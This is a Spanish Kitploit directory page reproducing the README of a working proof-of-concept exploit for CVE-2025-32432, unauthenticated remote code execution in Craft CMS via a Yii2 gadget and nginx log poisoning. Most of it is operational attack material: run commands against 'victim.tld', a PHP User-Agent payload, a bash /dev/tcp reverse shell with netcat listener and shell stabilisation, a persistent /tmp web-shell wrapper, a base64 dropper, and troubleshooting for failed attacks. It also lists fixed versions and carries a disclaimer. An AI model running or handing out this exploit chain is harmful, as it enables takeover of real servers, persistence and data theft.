Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-32432 — PoC funcional para CVE-2025-32432 - RCE no autenticado en Craft CMS <= 5.6.16 mediante el gadget Yii2 PhpManager + envenenamiento de access.log de nginx | Kitploit
Herramientas/GitHubGitHub/cd-ratel/cve-2025-32432
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubcd-ratel/cve-2025-32432

CVE-2025-32432

PoC funcional para CVE-2025-32432 - RCE no autenticado en Craft CMS <= 5.6.16 mediante el gadget Yii2 PhpManager + envenenamiento de access.log de nginx

Ver Repositorio
214hace 3 mesesAún no revisado
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-32432 - PoC de RCE no autenticado en Craft CMS

Prueba de concepto funcional para CVE-2025-32432, una vulnerabilidad de ejecución remota de código no autenticada en Craft CMS versiones hasta e incluyendo 5.6.16 (también afecta a las ramas 4.x y 3.x en rutas de código equivalentes).

Palabras clave de búsqueda: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit, Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior, nginx log poisoning Craft, unauth RCE craftcms 2025.


TL;DR

root@kitploit:~
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

El modo predeterminado apunta a instalaciones vanilla de Craft CMS. Se incluye una bandera --lab para el desafío carangueijada-20 del proyecto hacklab-platform, que protege Craft detrás de una cookie de sesión personalizada.


Vulnerabilidad

Componente afectado: craft\controllers\AssetsController::actionGenerateTransform.

La acción está registrada como allowAnonymous, por lo que no se requiere autenticación. Acepta un parámetro POST handle que luego se propaga en una llamada a Craft::createObject():

root@kitploit:~
$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

Cuando $handle es un array asociativo bajo control del atacante, la propagación inyecta claves arbitrarias en la configuración del constructor. En particular, una clave que comienza con as es interpretada por yii\base\Component::__set como una asignación de comportamiento, lo que llama a Yii::createObject($config) sobre el valor antes de cualquier verificación de tipo:

root@kitploit:~
elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

La corrección en Yii2 2.0.50 añadió una comprobación is_subclass_of($value['class'], Behavior::class) en esta rama; las instalaciones vulnerables (Yii2 <= 2.0.49, o comprobaciones parcheadas anteriormente eliminadas) omiten la protección por completo.

Gadget: yii\rbac\PhpManager

PhpManager es una clase estándar de Yii2. Su init() llama a load(), que a su vez llama a loadFromFile($this->itemFile). loadFromFile es literalmente:

root@kitploit:~
protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require interpreta cualquier archivo en disco como PHP. Si el archivo contiene un bloque <?php ... ?>, dicho bloque se ejecuta en el worker. Al apuntar itemFile a un archivo cuyo contenido el atacante controla, se logra RCE completo.

Sumidero: access.log de nginx

El sumidero fiable entre instalaciones es el access.log de nginx en formato combinado. Registra el User-Agent de la solicitud textualmente, incluidos caracteres no imprimibles y la mayoría de signos de puntuación. Al enviar una solicitud cuyo User-Agent es <?php system('id'); exit; ?>, el atacante planta un bloque PHP en una ruta conocida. Apuntar itemFile a /var/log/nginx/access.log luego ejecuta require sobre el log, ejecutando todos los bloques <?php ... ?> en orden.

Dos sutilezas importantes:

  1. Sin comillas dobles en el payload. nginx escapa " a \x22 en el formato combinado, lo que rompe el análisis PHP de la línea. Use comillas simples o concatenación con chr().
  2. exit; al final para que require aborté antes de analizar líneas posteriores del log que puedan contener otros payloads malformados.

Versiones afectadas

ComponenteVulnerableCorregido
Craft CMS<= 5.6.165.6.17
Craft CMS<= 4.15.24.15.3
Craft CMS<= 3.9.143.9.15
Yii2<= 2.0.492.0.50

Craft 5.6.17 añade una comprobación de ImageTransformerInterface en la clase del transformador. Yii2 2.0.50 añade una comprobación de subclase Behavior en Component::__set. Cualquiera de las dos correcciones por sí sola cierra esta cadena de gadgets exacta.


Requisitos

  • Python 3.8+
  • Librería requests (pip install -r requirements.txt)
  • Acceso de red al endpoint HTTP(S) objetivo
  • Un assetId válido de Craft en el objetivo. Por defecto 2; sobrescribir con -a <id> si es necesario (el asset id 1 suele ser el avatar del administrador).

Uso

Craft CMS Vanilla

root@kitploit:~
python3 exploit.py -u http://victim.tld -c 'id'

Craft montado bajo un prefijo de ruta

root@kitploit:~
python3 exploit.py -u http://victim.tld -p /cms -c 'id'

ID de activo personalizado

root@kitploit:~
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

itemFile personalizado (ruta de log diferente, sesión FPM, etc.)

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

Modo laboratorio (desafío carangueijada-20)

El laboratorio carangueijada-20 del proyecto hacklab-platform protege la instalación de Craft detrás de una cookie coopsess emitida por PATCH /login. La bandera --lab maneja ese handshake automáticamente.

root@kitploit:~
python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

Asegúrese de que www.carangueijada.coop resuelva a la IP del laboratorio (agregar a /etc/hosts si es necesario).

Reverse shell

La bandera --revshell lanza un bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 en segundo plano, de modo que el POST del gadget retorna inmediatamente.

Flujo de dos terminales (más fiable):

root@kitploit:~
# terminal 1 - listener en tu máquina
nc -lvnp 4444

# terminal 2 - disparar exploit
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

Flujo de una terminal con listener integrado:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen ejecuta nc -lvnp <lport> en la misma terminal antes de disparar el payload. Ctrl+C para salir cuando haya terminado.

Ejemplo de sesión (laboratorio):

root@kitploit:~
$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*]     coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Reverse shell fired.

# in the listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

Estabilizando la shell (después de la conexión, ejecutar dentro de la reverse shell):

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z para enviar nc al fondo
stty raw -echo; fg
# Enter dos veces
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

Cómo funciona la idempotencia

En la primera ejecución, el exploit envenena access.log una vez para dejar un wrapper PHP oculto en /tmp/.cve32432_w.php. El wrapper lee la cabecera HTTP X-Cmd y ejecuta system($_SERVER['HTTP_X_CMD']). Cada envío subsiguiente apunta itemFile al archivo wrapper y pasa el comando mediante la cabecera. No más envenenamientos, no más contaminación del log, no más fallos de "el primer bloque <?php exit; ?> gana".

Si desea forzar un nuevo despliegue, elimine /tmp/.cve32432_w.php en el objetivo (puede hacerlo a través del propio wrapper: --cmd 'rm /tmp/.cve32432_w.php').


Ejemplo de salida

Ejecución exitosa contra un objetivo nuevo:

root@kitploit:~
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*]     CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*]     poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*]     HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux

Retroceso por log contaminado (el objetivo ya ha sido explotado antes, un payload más antiguo sale antes que el suyo):

root@kitploit:~
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Cómo se dispara realmente la cadena

  1. POST /actions/assets/generate-transform llega a AssetsController::actionGenerateTransform.
  2. El manejador construye $config = ['class' => ImageTransform::class, ...$handle]. Nuestro handle[as gadget] sobrevive a la propagación.
  3. Craft::createObject($config) llama a Yii::$container->get(ImageTransform::class, [], $config), lo que instancia ImageTransform y escribe cada clave restante de $config mediante $transform->{$key} = $value.
  4. Cuando el parser encuentra as gadget, Component::__set coincide con el prefijo as y llama a Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']).
  5. Yii::createObject construye PhpManager, ejecuta __construct() y luego init().
  6. PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'.
  7. PHP analiza el archivo de log. El texto no PHP se imprime en stdout (que termina en el cuerpo de la respuesta HTTP). Los bloques <?php ... ?> se ejecutan en el worker.
  8. Nuestro payload plantado ejecuta system($cmd) y exit;. La salida aparece en el cuerpo de la respuesta donde se encontraba textualmente el bloque <?php.

Solución de problemas

SíntomaCausaSolución
HTTP 400 + "could not verify your data submission" / "Pedido invalido"El token CSRF no está vinculado a la cookie utilizada en el POSTEl script usa una única requests.Session; si reimplementa, asegúrese de que el almacén de cookies persista CRAFT_CSRF_TOKEN entre session-info y el POST.
HTTP 403 en /actions/...Prefijo de ruta o vhost incorrectoUse -p /prefix para coincidir con el lugar donde está montado Craft; asegúrese de que la cabecera Host coincida con la instalación.
csrfTokenValue vacío / session-info devuelve HTMLCabecera Accept incorrectaEl script ya envía Accept: application/json; si lo elimina, restáurelo.
La salida nunca muestra su comandoaccess.log ya contiene un payload <?php ... exit; ?> más antiguo que se ejecuta primeroRotar/truncar el log en el objetivo. Si solo tiene RCE como id, espere al próximo logrotate, o pivote a través de un archivo PHP escribible (ej. /tmp/wrapper.php con system($_SERVER['HTTP_X_CMD']);) y úselo como itemFile en adelante.
assetId not foundID incorrecto para esa instalaciónNavegue por URLs públicas de assets para enumerar IDs, o pruebe -a 1 y luego -a 3..N.
Objetivo parcheadoCraft >= 5.6.17 o Yii2 >= 2.0.50La cadena está cerrada; busque otra clase vulnerable o pase a otra cosa.
El payload provoca error fatal de PHPEntradas antiguas del log contienen PHP malformado que rompe el parser antes de su bloqueMisma solución que para log contaminado: rotar el log.

Solución temporal para registros contaminados (sin acceso de administrador)

Si solo puede ejecutar id de forma fiable (porque un exit; antiguo ha bloqueado la cadena), un pivote viable es hacer que ese único comando tipo id escriba un wrapper PHP en una ruta que usted controle, luego cambie itemFile a esa ruta para todas las solicitudes posteriores:

root@kitploit:~
# envenenamiento único con comando que deja /tmp/w.php como www-data
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# codificar CMD como chr() ...

Luego ejecute:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /tmp/w.php \
                   -c 'whoami'

Cada envío subsiguiente lee /tmp/w.php (un archivo PHP limpio sin nada antes de nuestro payload) y ejecuta el comando de la cabecera X-Cmd. Adapte el script si desea esto como un modo integrado.


Archivos

root@kitploit:~
.
├── exploit.py        # el PoC
├── README.md         # este archivo
├── requirements.txt  # dependencias Python (solo `requests`)
└── LICENSE           # MIT

Referencias

  • Entrada de la base de conocimientos de Craft CMS: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • Aviso de seguridad de GitHub (GHSA-f3gw-9ww9-jmc3): https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
  • Análisis de campaña in-the-wild de SensePost: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • Yii2 Component.php (revisión vulnerable): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.php
  • Corrección de Yii2 (2.0.50): https://github.com/yiisoft/yii2/pull/19938
  • Commit de Craft CMS que corrige 5.6.17: https://github.com/craftcms/cms/commit (buscar "ImageTransformerInterface" alrededor del 2025-04-09)
  • Inyección en logs OWASP: https://owasp.org/www-community/attacks/Log_Injection
  • HackTricks LFI a RCE mediante logs de nginx: https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-log

Descargo de responsabilidad

Esta prueba de concepto se publica únicamente con fines de investigación defensiva, uso educativo y pruebas de penetración autorizadas. Ejecutarla contra sistemas que no posee o para los que no tiene permiso por escrito para realizar pruebas es ilegal en la mayoría de las jurisdicciones. El autor no acepta ninguna responsabilidad por su mal uso.

Si mantiene una instalación de Craft CMS, actualice a 5.6.17 o superior (o la versión de parche correspondiente de 4.x / 3.x). La vulnerabilidad es trivialmente explotable y se ha utilizado en campañas reales documentadas por SensePost.

Licencia

MIT. Ver LICENSE.

Descargar herramienta